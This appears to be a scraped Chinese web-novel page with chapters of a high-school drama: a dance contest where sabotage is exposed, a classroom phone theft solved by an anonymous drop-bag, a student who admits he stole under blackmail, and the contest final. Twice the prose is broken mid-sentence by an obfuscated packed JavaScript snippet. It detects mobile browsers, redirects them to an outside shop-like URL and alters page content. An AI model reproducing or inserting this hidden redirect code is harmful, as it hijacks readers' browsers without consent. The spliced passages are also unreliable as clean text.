汤振指着洗手间的方向,朝舞台上吼道:“刚才我亲眼看见你把颜料瓶藏到厕所里。” “你放屁,”陈蓉萱反驳道:“明明是放在垃圾桶……” 陈蓉萱连忙捂住了自己的嘴巴。 观众席齐刷刷响起一阵“哦——”的声音。 汤振脖子上的青筋清晰可见,大吼道:“哈哈,我只是想诈一下你,没想到你自己承认了!” 不等陈蓉萱再说什么,汤振连忙把丁航从椅子上拉起来,冲舞台大喊: “淘汰!淘汰!” “太恶毒了!赶紧淘汰吧!” 其余人也开始喝倒彩,全场整齐划一地对台上的陈蓉萱投去鄙夷的神情。 陈蓉萱带着一脸惊恐的神情,连忙捂着头,一步一步朝舞台下走去。 猛烈的嘘声和谩骂逐渐平息,评委席上的老师们面色铁青,直接打出了罕见的低分甚至零分。 丁航脸上的笑意都快藏不住,极其愉悦地吹了一声婉转流长的口哨。 汤振看向江悦,江悦的脸色已经恢复了平静,直直望着狼狈走下舞台的陈蓉萱,脸上没有得意的笑容,也没有怜惜的神色,仿佛在看着一场与自己无关的电影。 最终的复赛成绩毫无悬念,江悦凭借泣血天鹅以第一名的成绩强势晋级;申雅丽也借助一曲毫无瑕疵的古典舞稳居第二,成功进入决赛;陈蓉萱则因恶劣品行嫌疑被直接淘汰,同时还被禁赛一年。 汤振看着大屏幕上跳动的晋级名单,眼中充满了坚定又疲惫的神情。 礼堂里的闹剧和复赛同时落下了帷幕。 空气中还弥漫着颜料略带刺鼻的气味,评委们正焦头烂额地处理后续的入围名单,台下的观众三三两两地散去,嘴里还在兴奋地咀嚼着今天下午两个小时的精彩过程。 汤振突然有点害怕自己,他心里不光不觉得内疚,反而觉得有些过瘾,顶着于浩磊的外壳,用街头手法,轻而易举地完成了一次优雅的借力打力。 “叮铃铃——” 下课铃声恰好在校园里敲响,汤振班里上完体育课的同学也陆陆续续地向教室走去。 就在汤振即将走出礼堂的瞬间,他脚步微微一顿,目光穿透逐渐散去的人群,落在了候场区的一个角落里。 在那个角落,伍泓正拿着纸巾,递给申雅丽擦拭额头上的汗水,嘴里似乎还在低声说着什么,眼神里满是鼓励。 汤振的目光在伍泓身上停留良久。 凉风从大门吹入,汤振踏出了博学楼的礼堂,走进了初冬冷冽的寒风中。 教学楼外,满地的落叶被一阵冷风卷起。 汤振刚走下台阶,就看见于浩宁站在一棵光秃秃的树下,缩着脖子来回踱步。 “哥,”于浩宁立刻迎了上来,“今天下午的复赛又出什么事了吗?我刚才听说4班的陈蓉萱被当场取消资格了……” 于浩宁压低了声音,用一种极其震撼又难以置信的眼神上下打量着汤振。 “呃,她把颜料泼在班长的衣服上,被大家发现了,就被取消比赛资格了,”汤振强颜一笑。 “怎么被发现的?”于浩宁的眼神里充满了好奇。 “我……只是用了点小技巧,然后她就被人发现了。”汤振耸了耸肩。 于浩宁的脸上顿时写满了无语,“你这也太……算了,我倒是有个问题想问你,我一直没弄明白,你为什么要这么认真地帮班长冲进决赛?” 两人并肩走到了教学楼前,迈进了一楼的走廊。 “我主要是觉得班长之前不止一次帮我解围,所以我应该帮她做些什么,”汤振认真地说道:“当然,还有第二个原因,我希望最后进入决赛的两个人,是江悦和申雅丽。” “为什么?”于浩宁疑惑道。 “因为我的一点私心。”汤振低声道。 于浩宁故作不屑,“干嘛还搞得神神秘秘的,虽然现在舞蹈组确实是雅丽学姐和班长进了决赛,但是这两个人中,只会有一个人拿冠军呀,你又希望是谁?” 汤振摇了摇头,叹道:“这个我就控制不了了,她俩实力五五开吧。” “既然五五开,那你怎么确定最后的结果?”于浩宁追问。 “我不赌实力,”汤振意味深长地笑道:“我赌的是班长的性格。” “性格?怎么赌性格?”于浩宁一头雾水。 “这个就先不告诉你了,”汤振轻轻拍了拍于浩宁的肩膀,“你不是说我故作神秘吗?等到了决赛那天,你就知道啦!” 于浩宁无语地翻了个白眼,懒得再问。 “对了,”汤振话锋一转,语气变得认真:“后天就是这学期第三次月考了,你复习得咋样?我这些天几乎随时盯着丁航的动静,也没发现他有什么可疑的……但我真的确定他半期考试肯定作弊了。” 提到这件事,汤振的眼神里便闪过一丝不屑。 于浩宁思索片刻道:“等到时候再看吧,实在抓不住的话,还有期末考试呢,总会露出破绽的……” 话音未落,身后突然传来一阵急促的脚步声。 “嘿——于浩磊!” 汤振转过头,只见丁航手里拿着一张晋级证书,小跑着冲过来。 江悦走在丁航身后,脸色又恢复了往常的平静,步子轻快,姿态自然。 “班长,恭喜啊,王者归来。”于浩宁笑着打了个招呼,目光也扫过丁航手中的晋级证 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17575478|205002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 书。 江悦推了推眼镜,走到汤振面前,“于浩磊,今天真的非常感谢你,不仅给我出主意,还让陈蓉萱得到了惩罚。” “没事儿,举手之劳嘛,”汤振摆了摆手,“同学之间,互相帮助,应该的。” 江悦淡淡一笑,继续朝楼梯口走去。 上课铃声已经快要敲响了,高一3班下节课是班主任的数学课。 丁航满脸充满好奇,凑近江悦,开口道:“班长,其实我一直想打听一件事,不知道你今天能不能跟我们大伙儿都透露一下。” 江悦推了推镜框,脚步在楼梯口停住,转身看向丁航,“你是想打听,我和陈蓉萱为什么从好朋友变成了现在这个样子,是吧?” 丁航有些不好意思地挠了挠头,“嘿嘿……主要是陈蓉萱今天把事情闹得这么大,我就顺便想到了你俩以前的事情,稍微有点好奇。” 闻言,汤振和于浩宁的脸上也不由得多了几分好奇的神情。 四人顺着楼梯回到了教室门口,站在走廊上,感受着初冬的寒风轻轻吹过脸颊,楼下的枯叶也在低低打转儿。 江悦额前的发丝被微风拾起,她释然一笑,开口道:“行吧,反正我和她也彻底撕破脸皮了,既然你们这么好奇,我就给你们讲讲。” “其实,也不是什么深仇大恨,”江悦的声音有些飘渺:“就是一件很小的事,小到可能在别人眼里会觉得我不可理喻。” 一旁的三人谁也没有插话,认真听着江悦说起过去的事: “初二的暑假,期末考试结束后,我和陈蓉萱组队去市里玩。那天的气温接近四十度,我们玩了一上午,坐在椅子上休息的时候,陈蓉萱突然发现,她的手机不见了。” 江悦顿了顿,叹道: “陈蓉萱当时很着急,因为她喜欢的一个师兄要转学了,那天早上,师兄还发短信说,下午有事要给她打电话。” “那怎么办?”丁航忍不住追问。 “她就借了我的手机,”江悦似乎沉浸在往事里,继续讲道:“陈蓉萱只记得师兄电话号码的一部分,我就陪着她,在太阳底下,一个号码一个号码地尝试,后来终于拨通了师兄的电话。然后,陈蓉萱和师兄打了半个小时的电话,看她那么开心,我也没催她。聊完之后,她就把手机还给了我,让我陪她找手机。” 三人听得仔细极了,汤振眼里满是催促的想法,时不时望向走廊里的广播,生怕上课铃突然敲响。 江悦接着说道:“我就陪着陈蓉萱,顶着快四十度的高温,沿着上午玩过的路线,一个项目一个项目去帮她找手机。差不多一个小时之后,我俩几乎翻遍了每一个角落,最后终于在一个储物柜底座的缝隙里找到了手机。我当时浑身都被汗水打湿了,但也替她高兴,想着她终于不用担心被父母骂了。” 江悦深吸了一口气,眼神逐渐变得冰冷,“你们猜,陈蓉萱找到手机后,她第一时间让我做什么?” 三人面面相觑,丁航把头摇得像拨浪鼓,于浩宁也表示不知道,只有汤振猜测说:“她第一时间请你吃了个冰淇淋?” “当然不是,”江悦的语气加重了几分:“她第一时间就让我拿出手机,然后当着我的面,打开我手机的通话记录,把她和师兄的通话记录删得干干净净。” 空气在这一刻仿佛凝固,汤振忍不住问道:“为啥?” 江悦解释道:“因为她不想让我知道那个师兄的电话号码,怕我偷偷存下来,去追她的师兄。” “啊?”丁航震惊得下巴都快脱臼了。 “我当时就突然觉得很恶心,”江悦的声音里没有一丝情绪起伏:“那么热的天气,我好心陪着她找到了手机,她一句感谢不说也就算了,还担心我会偷偷保存她师兄的电话号码。我就想问,每个人都会对她师兄感兴趣吗?” 江悦脸色微微发红,“所以,我当场要回了我的手机,转身打车回家了,在出租车上,我删了她所有的联系方式,在我心里已经跟她绝交了。” 走廊上,寂静的空气裹挟着寒风,轻飘飘地吹过。 丁航半天没回过神来,于浩宁也是满脸的不可思议。 汤振在短暂的震惊过后,缓慢又认真地说道:“你和一个不知感恩、生性多疑的人绝交,是一个非常正确的决定。你这套筛选朋友的机制和社交效率,简直是大师级别的。陈蓉萱这种人,离得越远越好。” 江悦忍俊不禁,应道:“算了,过去一年多的事了,没什么好提的。” “没事儿,以后会更好!”汤振打了个响指道。 丁航点头道:“放学后看看孟晓芸这几天帮你拍的照片吧,肯定会让你心情变好的。她的新手机可贵了,拍出来的照片肯定好看!” 汤振也附和道:“是啊,不过要偷偷地看哦,别被教导主任发现了……” 一阵欢笑在走廊上响起。 话音刚落,“叮铃铃”的声音响彻校园。 上课铃声打破了轻快的氛围,汤振几人立刻从走廊上回到了教室。 班主任挺着孕肚,拿着一沓资料,从教室前门进来,缓步走上了讲台。 所有同学刚从体育课的疲惫中回过神来,慵懒地翻开了数学书。 正当班主任准备开始上课时—— 孟晓芸突然倒吸一口凉气,发出惊恐的声音,声音里还带着哭腔: “老师!我,我……我的新手机不见了!”? 26. 偷窃与威胁 孟晓芸的声音,将教室里安静的空气撕开了一道口子,“体育课上课之前,我就把手机放在了书包里,刚才我打开书包就发现,手机不见了。” 汤振看向孟晓芸,心里直感叹:那部新款智能手机价格不菲,要是真不见了,实在是损失不少! 班主任的脸色瞬间沉了下来,手里的随堂测验试卷“啪”地一声摔在讲桌上。 “学校不是明令禁止带手机么,上次丁航的事情才过去多久,你怎么又犯?”班主任原本和蔼的眉眼被严厉取代。 孟晓芸抿着嘴唇,双手规规矩矩地以静坐姿势放在桌上,声音带着颤抖和哭腔:“对不起老师,是我错了,我想多拍点江悦训练时的照片,所以才偷偷带了新手机来……老师,要是这么贵的手机丢了,我回家肯定交不了差,求求您,老师,帮我找找吧。” 所有人连大气都不敢喘,就在气氛快要凝固时,孟晓芸旁边的班长江悦,毫不犹豫地站了起来。 “老师,这事不怪晓芸,”江悦深吸了一口气,语气坚定:“其实是我默许她带手机来学校的,因为我也想多拍一些照片,我作为班长,没有制止同学违反校规,是我的失职。如果手机真的找不回来,我会老老实实告诉家里人,赔给晓芸……既然我带头让同学违反了校规,我自请写1000字的检讨,明天早读交给您。” 汤振看向江悦的背影,心里暗自佩服,但也同时替孟晓芸担心。 班主任看着江悦,原本的怒火被压下去了几分,思索片刻,郑重其事地看向全班同学,“这节课的随堂测试暂停,今天这事儿必须要查清楚。” 教室里顿时鸦雀无声,落针可闻。 过了片刻,窃窃私语声四起,大家怀疑的目光不约而同地投向了蒋朋,毕竟他是体育课后第一个回到教室的。 似乎是感受到了周围异样的目光,蒋朋的脸瞬间涨得通红,“你们都看我干什么?” 说完,蒋朋一把抓起自己的书包,大步流星走到讲台前,用力将书包倒扣了过来。 “哗啦”一声,所有的课本、试卷,以及一包压碎的干脆面,全倒在了讲台上,连空空如也的夹层也翻了出来,展示给所有人看。 “你们看清楚了,我没偷就是没偷!” 蒋朋说话稍微大声一点,眼眶就发红,声音也跟着激动起来:“我就是跑得快,想赶回来喝点水,我连孟晓芸的桌子都没靠近过!” 班主任皱了皱眉,帮蒋朋把东西和书包都收了起来,轻拍了拍蒋朋的后背,示意蒋朋先回座位。 “同学之间,不要没有证据就随便议论。”班主任认真说道。 坐在教室中间的汤振微微低下头,细细回想着。 虽然刚应付完复赛的危机,已经筋疲力尽,但汤振还是强行让自己的大脑飞速运转了起来,重新梳理刚才的细节。 应该不是蒋朋。 汤振的脑海中瞬间浮现出40分钟前的画面: 当时,复赛还在进行,伍泓叫他去礼堂外的走廊交谈了五分钟。就在那五分钟里,汤振极其清楚地看到,体育课刚开始没多久,沈言峰蹑手蹑脚地折返回了教室。而且,进出教室前后,沈言峰还神色慌张地左右张望了一下。 汤振的目光越过两三排座位,直直落在了沈言峰的后背上。 此时的沈言峰,脊背僵直得像一块木板,双手交握放在桌下,额头和鬓角似乎也已经渗出了一层细密的汗液。 一阵轻微的冷风让汤振浑身汗毛竖立,他顿时有了一个猜想:确实有可能是沈言峰偷的,并且如果真的是他偷的,那么手机现在应该还在教室里,因为沈言峰当时出了教室后,又直接回到了操场。 但汤振又转念一想:沈言峰向来行事低调,成绩也名列前茅,作文更是拿手,看起来不像是会做这种事的人。 就在这时,只穿了件单薄外套的体育委员站了起来,喊道:“既然大家都不承认,老师,要不我们直接搜所有人的身吧!我搜男生,您搜女生和我,查查书包和口袋就知道了,小偷肯定藏不住!” 几个同学也应声附和:“对啊,搜身最快,一下子就查出来了!” “不行!”班主任拍了一下讲桌,响声震得汤振心里一突,立刻严词拒绝了这看似最高效的提议。 “这可是学校,你们也都是未成年人,学校要考虑到所有人的隐私和权力。任何人,包括我这个班主任在内,都不能随便搜你们的身。”班主任的话掷地有声,瞬间让原本想要起哄的声音被压了下去。 听到这话,汤振心里暗自有了主意:既然不能搜身,又不能百分百肯定是沈言峰偷的,倒不如……测试一下沈言峰? 想到这,汤振撕下一张便签,在上面飞快地写了几行字,将便签纸握在了手中。 正当汤振思考怎样才能把便签纸递给沈言峰时,班主任宣布道: “大家先全体起立,站到教室后面去。” 所有人陆陆续续地站了起来,熙熙攘攘地挤在了教室后面。 汤振连忙移去了沈言峰的身边,将紧握的便签纸塞入了沈言峰手中。 沈言峰低着头打开纸条,脸色瞬间发白,目光像冷冽的冰锋,不可思议地抬头看向汤振。 汤振嘴角轻微一动,一言不答,等所有同学站整齐后,汤振忽然举手提议道: “老师,要不这样,为了保护大家的隐私,我们所有人先站到教室外面的走廊上,您自己一个人留在教室里搜查每个人的东西。” 汤振的余光一直瞟向身旁沈言峰僵直的身体,继续向班主任提议:“这样一来,我们都看不见您的搜查过程,而且当您搜到手机后,也只有您自己知道是谁偷的,我们同学之间都不知道,还可以给偷东西的人一次迷途知返的机会。” 旁边脸色还未恢复正常的蒋朋一听,连忙举手同意:“于浩磊的办法可以呀,老师您自己在教室里搜吧,我们都出去!” 姜岩问道:“出去的时候,万一那人把手机揣兜里了怎么办?老师在教室里还是搜不到呀。” 班主任听完汤振的提议,也摇了摇头,叹道:“这样也不好,我不仅不想让你们知道是谁偷的,我甚至……我自己也不想知道是谁偷的。” 汤振抿了抿嘴,余光一直往沈言峰的身上瞟,沈言峰的脸色有一丝慌乱,但胸口的起伏仍保持着平稳的节奏。 班主任看着大家疑惑的表情,继续解释道:“因为一旦我知道了是谁偷的,我以后再看这到个学生,心里都会存有偏见了。这对一个还未成年的学生来说,不公平。我相信那个拿了手机的人只是出于一时的虚荣或者冲动,我也希望能给他一个迷途知返的机会。” 汤振的余光死死锁在沈言峰身上,沈言峰左手已经握紧拳头,目光在班主任和自己座位之间来回闪烁。 几秒后,汤振轻轻咳了一声。 身旁的沈言峰深吸一口气,立刻举起手,声音有些发紧:“老师,要不……要不这样吧。” 全班的目光转向了沈言峰。 沈言峰说的都是纸条上写的内容,“老师,我有个办法,您先拿一个不透明的袋子放在讲台上,我们所有人面向教室后面的黑板站着,谁也别回头。然后,每个同学依次去自己的位置拿一样东西,再走到讲台上,放进袋子里,随便放什么都可以。” 沈言峰咽了口唾沫,脸色潮红地继续说道:“如果手机真的在某个人身上或者抽屉里,他就可以趁这个机会,把偷来的手机放进袋子里。这样不仅能让偷东西的人迷途知返,还能避免暴露他到底是谁……” 说完这段话,沈言峰仿佛用尽了全身的力气,最后还不忘补充一句:“当然,如果一圈下来,还是没找出手机,那大家再挨个搜身也不迟。” 全班同学听完,目光里投来同意的神色。 “我们先按这个办法来吧。” “是啊,不愧是学霸,这个方法好。” “老师,今天发生的事情,我们保证不说出去。” …… 许多同学对这个方法表示赞同,班主任的目光也逐渐释然,看了沈言峰一眼,点头道:“这个方法的确可行,没有违反什么规定。那既然大家都没意见,就按沈言峰说的办。” 一分钟后。 教室的窗帘被拉上,只剩下白炽灯的光亮,班主任从办公室拿来了一个不透明编织袋,撑开了放在讲桌后面。 所有学生整整齐齐地背过身去,面向教室后方的黑板站立,紧闭双眼。 “按你们现在站的位置来,从最左边开始。其他人不许回头,不许偷看。” 说完,班主任也站去了教室后门处,监督着教室后方所有同学,不允许任何人回头看。 全班同学静静地听着,一阵阵脚步声在教室里绕过一圈,又踏回教室后方。 伴随着令人沉窒的脚步声,一个一个同学依次走回自己的座位,随便拿了一样东西,又快步走到讲台上,将手伸进那个不透明的大袋子,轻轻地放进去。 第一个,第二个,第三个…… 十五分钟后,在安静得只剩呼吸和脚步声的教室里,全班同学依次走完了整个流程。 班主任清了清嗓子道:“好了,大家可以转过来了,先站在原地,不要回座位。” 在所有同学的目光中,班主任严肃地走上讲台,缓缓打开了编织袋。 在一堆水杯、笔袋、墨水瓶和修正液之间,孟晓芸那部崭新的手机,赫然躺在最深处! “找到了!” 班主任的声音划破了教室的宁静,脸上露出欣慰的笑容,把手机举了起来,展示给所有同学看。 教室里响起了一阵如释重负的声音,所有人都长长地舒了一口气。 孟晓芸激动得冲上前去,轻轻抱住挺着孕肚的班主任,脸上的表情又想哭又想笑。 “谢谢老师,”孟晓芸声音哽咽,“今天是我耽误了同学们的时间,对不起。我以后一定遵守校规,再也不带手机来学校了。” 班主任将手机还给了孟晓芸,“今天就不没收你的手机了,拿回家去好好保管。” 说完,班主任又朝所有人挥了挥手,“行了,今天发生的事,大家就当不知道。所有人,回座位上来吧,这堂课大家上自习。” 这次偷窃事件,就这样在教室里消弭于无形。 没有人知道是谁偷的,也没有人想去追究。 ——当然,除了汤振。 所以,今天晚自习一结束,汤振便迅速收拾完东西,目光紧紧盯着沈言峰。 于浩宁疑惑地拉住汤振,“你要去哪?” “嘘,”汤振做了一个噤声的手势,“你先去外面等我,我现在还有点事儿要办。” 于浩宁一脸茫然地望着汤振,汤振却早已匆匆溜走,朝着沈言峰的背影跑了过去。 彼时,校园里只剩下稀疏的几盏路灯,冷风在光秃秃的树枝间穿梭,发出呜呜的声响。 通往自行车停放处的水泥路上,几个学生将校服衣领立起来,缩着脖子朝前面的停车场走去。 沈言峰推着自行车,低着头,脚步匆匆地从停车场走了出来,有些面无血色的样子。 就在沈言峰准备跨上自行车时—— 汤振从旁边的树丛中冲了出来,一把抓住沈言峰的自行车后座。 沈言峰一脸不可置信地看向突然出现的汤振。 黑暗中,汤振盯着沈言峰的眼睛,直截了当地开了口:“说吧,你到底为什么偷手机?” 沈言峰浑身一僵,眼神躲开,看向无尽的黑暗处,“我……我,你是怎么知道的?” 汤振声音幽冷:“说来也是巧,体育课的时候我正陪班长准备复赛,去走廊上透透气,就看到你鬼鬼祟祟回了一趟教室。” 沈言峰嘴里呼出一团雾气,“算了,今天是我倒霉,我认栽。” “什么叫认栽,”汤振不可思议地看向沈言峰,“你怎么是这样的人?小偷小摸,不像是你做得出来的事情。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17575479|205002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我只是碰巧看到孟晓芸有那么高级的手机,临时起意,想要偷去卖个几百块钱。既然手机已经还回去了,你别管闲事了行不行?” 沈言峰声音突然变得铿锵有力,但眼里的泪水却夺眶而出,在幽暗的路灯下形成两道闪着微光的痕迹。 汤振往前逼近一步,“你这么聪明的脑子,会为了几百块钱冒被开除的风险吗?” 沈言峰狠狠地望向汤振,呼吸声逐渐变得急促。 汤振压低了声音:“你老实交代,到底是怎么回事?按我以前的经验,如果不是被人威胁,你应该不会做这种事情。” 说完,汤振再次看向了沈言峰,目光像是能洞察一切。 “我……”沈言峰迟迟不肯说下去。 “如果你今天不坦白,我明天一早就会把今天教室里发生的一切细节,原原本本地告诉教导主任!”汤振的语气渐渐发狠。 沈言峰抬手擦了一下眼角的泪痕,强颜苦笑道:“手机都已经还回去了,班主任也说了不再追究。你怎么告状,你有证据吗?” “你要证据是吗,”汤振面无表情地拍了拍口袋,“我用手机录音了,你刚才的话,我已经全部录下来了。你忘了吗?之前丁航一直说我偷偷带手机到学校来,其实他说的都是真的。” 沈言峰安静了下来,脸上的红温也逐渐褪去,他咬紧牙关,将身边的自行车使劲一推,车架便“哐”地一声砸在了地上。 眼泪再次从沈言峰的眼里流出,“算我求你,千万别说出去,好不好?我是真的没办法了。我,我是被人威胁的,我现在很需要钱,我不想,我真的不想再继续……” 沈言峰不再说下去,紧咬着嘴唇,将头侧向一边。 看着沈言峰痛苦崩溃的模样,汤振眉头紧紧拧在了一起,心底涌起一股复杂的愤怒,却最终没有发作,只劝道:“老师能帮忙啊!你要是遭受了校园暴力,就该第一时间告诉老师,教导主任虽然严格,但如果知道这种事,她绝对会想办法保护你的。” 沈言峰抬起头,眼神里满是无力感,“你以为我不知道可以告诉老师吗?除了我在学校里的时间,老师能二十四小时保护我吗?” 汤振无法回答,欲言又止。 沈言峰的声音仿佛从鼻腔幽幽挤出:“我只想安安静静考个好大学,离开这个地方。我不想,也不敢奢求那么多,求求你别管了!” 夜风更冷了,昏暗的路灯下,只剩两人对峙着。 汤振看着沈言峰眼底真实的恐惧,内心感到一阵深深的无奈,从前在街头和养父手底下那些不好的回忆,此刻又毫无防备地钻入了他的脑海。 最终,汤振缓缓转过身,叹了口气。 “我答应你,”汤振的声音已经没了多少精力:“我可以替你把今天的事情瞒下来,那个录音,我回去删了就行。” 沈言峰擦了擦眼角的泪水,“谢了,是我对不起老师和同学。” 汤振摇了摇头,弯下腰,将水泥地上躺着的自行车扶起来,看了沈言峰一眼,语气缓和道:“那这件事就当做没发生过。” 汤振从书包里掏出一包纸巾,“把眼泪擦一擦,好好准备后天的第三次月考吧。” 沈言峰接过纸巾,“谢谢。” 汤振背好书包,回头看了一眼刚跨上自行车的沈言峰,叮嘱道:“至于威胁或者勒索你的人,你如果信得过我,什么时候想通了,也可以跟我说,说不定我能帮得上忙。” 说完,汤振头也不回地转身走开,身影消失在了校园的夜色中。 沈言峰跨在自行车上,望着汤振的背影,久久没有回过神来。 连着两日细雨不断,就连浥鸣二中第三次月考期间,整个县城都沉浸在一片阴云和雨雾之中。 连续两天的考试结束了。 第三次月考的成绩,在考试结束后隔了一天才公布。 12月15日午休时,班长便将成绩单从办公室拿进了教室,在一片围观中,把成绩单贴在了教室前门的张贴栏内。 一群人如蜂拥一般,快速挤过去寻找自己的名字。 坐在第一排的沈言峰瞥了一眼成绩单,随后目不转睛地盯着班长良久,才转过身,继续在数学试卷上勾勾画画。 汤振站在人群外围,看了看沈言峰认真学习的背影,也把目光移到了成绩单上: 第1名江悦,总成绩807分 第2名沈言峰,总成绩805分 第3名于浩宁,总成绩790分 第4名丁航,总成绩775分 第5名于浩磊,总成绩760分 …… “哈哈哈,看到没,”丁航挤出人群,得意洋洋地朝汤振喊道:“我就说我能行吧,以我这次全班第四的成绩,我有信心期末也考进班级前五,到时候就能名正言顺地从教导主任那里拿回手机了!” 汤振看着情绪激动的丁航,给出了一个极不自然的笑容。 趁着教室里一片热闹,汤振压低了声音向于浩宁抱怨:“真是怪了,怎么咱俩四只眼睛盯着丁航这么久,都没抓到他作弊或者违规的把柄,难道他真的是每次凭实力考这么好的吗?” 于浩宁斜眼扫了一下远处的丁航,朝汤振道:“我不太信……没事,作弊这种事,只要做过,就一定会留下痕迹。他这次没暴露,不代表下次还能这么幸运。” 闻言,汤振点点头,“也是,还有期末考试呢,这一个多月里,咱们再好好盯着他。” “你还是耐心点儿吧,”于浩宁笑道:“如果你有空,最好是丁航去哪你就去哪。不过话说回来,你这次考试进步很大哦。” “还不是多亏了你……”汤振不好意思地说道。 午休结束的铃声已经敲响,教室里的白炽灯一盏一盏地亮起。 汤振无精打采地趴在课桌上,目光呆滞地扫过墙上的成绩单、右前方的沈言峰和身边的丁航,心中的疑云像一袭飓风,搅乱了他所有的思绪。 27. 决赛现场 第三次月考成绩公布后的第十天,便来到了艺术大赛决赛的日子。 12月25日一大早,冬日的寒意便被校园鼎沸的人声稍稍冲淡,今天的艺术大赛决赛是全校瞩目的活动,礼堂内外早已拉起了鲜艳的横幅,空气中弥漫着紧张与期待交织的气息,也有的人兴高采烈,因为今早好几个班级都不用上课,可以去礼堂欣赏决赛的风采。 上午八点,大礼堂后台的公共化妆区里,选手们都在做着紧张的准备。 江悦坐在化妆镜前,眉头微微蹙起,身穿了一身民族舞的飘逸长裙,气质如兰。 但此刻面对镜子,江悦却有些懊恼,刚才在走廊上不小心被人撞了一下,眼角的妆稍被蹭花,对于追求极致完美的决赛而言,这在无疑是一个瑕疵。 就在江悦拿纸巾试图小心翼翼地擦拭时,旁边递过来一张柔软的卸妆湿巾。 “江悦,用这个吧,干纸巾会把底妆彻底蹭掉的。” 江悦顺着声音看过去,原来是申雅丽。 申雅丽今天也穿着清新淡雅的古典舞服饰,手里拿着一瓶小巧的定妆喷雾,眼神里透着几分若即若离的善意。 “谢谢雅丽学姐。”江悦带着感激的笑容,伸手接过湿巾。 申雅丽见江悦清理好了晕染的部分,便主动举起手里的喷雾,“我帮你补喷一下定妆吧,这个牌子的喷雾效果特别好,即使跳舞出汗,妆也不会花。” 说到这里,申雅丽似乎突然想起了什么。 望着眼里有些谨慎的江悦,申雅丽笑了一下,闭上眼睛,将喷雾“哧哧”两声,喷在了自己的脸上。 喷完后,申雅丽将喷雾递给江悦,“你看,这是正常的喷雾,很安全的。” 说完,申雅丽睁开了眼,有些不好意思地笑笑,“我绝不是想害你,你放心。” 江悦脸色微微一颤,她看着申雅丽那张纯善却总是带着几分小心翼翼的脸,柔声说道:“雅丽学姐,我当然相信你啦,谢谢你。” 喷完定妆喷雾后,已经开始安检入场了。 为了防止初赛和复赛时层出不穷的违规和意外再次在决赛场上重演,教导主任今日可谓是下了血本。 只见礼堂的入口处,赫然立着一台租来的金属安检机。 教导主任双手背在身后,亲自守在旁边,目光如炬地扫视着每一个进场的学生。 比起安检机,教导主任的目光也许更可怕。 “所有书包和衣服外套等等,一律放到旁边的寄存区,任何人不准把个人物品带进观众席!” 教导主任拿着扩音喇叭大喊。 “还有,不允许带任何有色饮料进场,只能带透明的纯净水。前面的同学,排好队,接受检查!” 三个安检人员拿着手持探测仪,对每一个进场的学生进行着严格的检查。 这犹如机场安检般的阵仗,让平日里散漫的学生们都噤若寒蝉。 汤振和丁航等人排在队伍里,交出了书包,只拿着一瓶矿泉水,依次通过了安检,来到了观众席前排的位置坐下。 江悦因为是选手,她的座位被安排在靠近舞台的第一排边缘,方便随时上下场,汤振和丁航的座位就在她侧后方不远处。 就在大家都快落座完毕时,伍泓才迟迟入场。 彼时伍泓手里正捏着一瓶拧开的矿泉水,一边东张西望寻找座位,一边从江悦身边的过道挤过去。 “哎,借过借过……”伍泓心不在焉地招呼着。 就在路过江悦身边的一刹那,伍泓脚下似乎是被绊了一下,整个身子忽然失去了平衡,手中的矿泉水也猛地倾斜。 只听“哗啦”一声,大半瓶冰凉的矿泉水直接泼向了江悦。 水花四溅而出,像一股海浪,泼在了江悦的脸上。 “啊——” 江悦下意识惊呼了一声,闭上了眼睛。 汤振顿时大惊失色,几乎是条件反射般地从座位上弹了起来,三步并作两步地跨了过去,挡在了江悦身前,警惕地看向伍泓。 而另一边的丁航反应更加暴烈,像一头被彻底激怒的豹子般冲上前。 大庭广众之下,丁航一把抓住伍泓的衣领,将伍泓整个人往后狠推了一把,怒吼道: “你怎么回事,眼睛长头顶上了吗?连瓶水都拿不稳!” 伍泓被丁航勒住脖子,脸色涨得潮红,手里还剩一半的矿泉水瓶“砰”地掉在地上,剩余的水流了一地。 “我,我不是故意的……我脚滑了一下。”伍泓的声音从喉咙里憋了出来。 坐在选手席的申雅丽听到了后面的动静,连忙提着裙摆站了起来。 看到江悦满脸的水,申雅丽表情急切,急忙掏出纸巾递了过去,“江悦,你没事吧,妆有没有花?” 江悦接过纸巾,轻轻吸干了脸上的水珠。 在周围的人剑拔弩张的时刻,江悦冷静地摇了摇头,“我没事。大家都和气一点吧,不要在决赛现场闹事。伍泓同学应该也不是故意的,丁航,你先把手松开。” 说完,江悦又转头看向焦急的申雅丽,露出了一个安抚的笑容,“还好雅丽学姐刚才给我喷了定妆喷雾,防水效果真的很好。一点矿泉水洒在脸上,妆完全没花,没事的。” 见江悦本人没有深究的想法,汤振只好拍了拍丁航的手背,“班长叫你松手呢。” 丁航冷哼了一声,狠狠地瞪了伍泓一眼,这才松开了青筋暴起的右手。 几人悻悻地回到了自己的位置上坐好,伍泓灰溜溜地走去了后排座位上。 江悦整理好衣服,在汤振的陪伴下回到了选首席,低声道:“雅丽学姐人真的挺好的,心细又善良。我这件演出服的料子又是防水的,水珠抖一抖就掉了,也算是不幸中的万幸。” 听到这话,汤振心头微微一动,他看着江悦那张平静的脸,回想起了复赛结束那天他对于浩宁说过的话: “我希望最后进入决赛的两个人,是江悦和申雅丽。” 汤振也确实成功了,舞蹈组进入决赛的两个人,正是江悦和申雅丽。 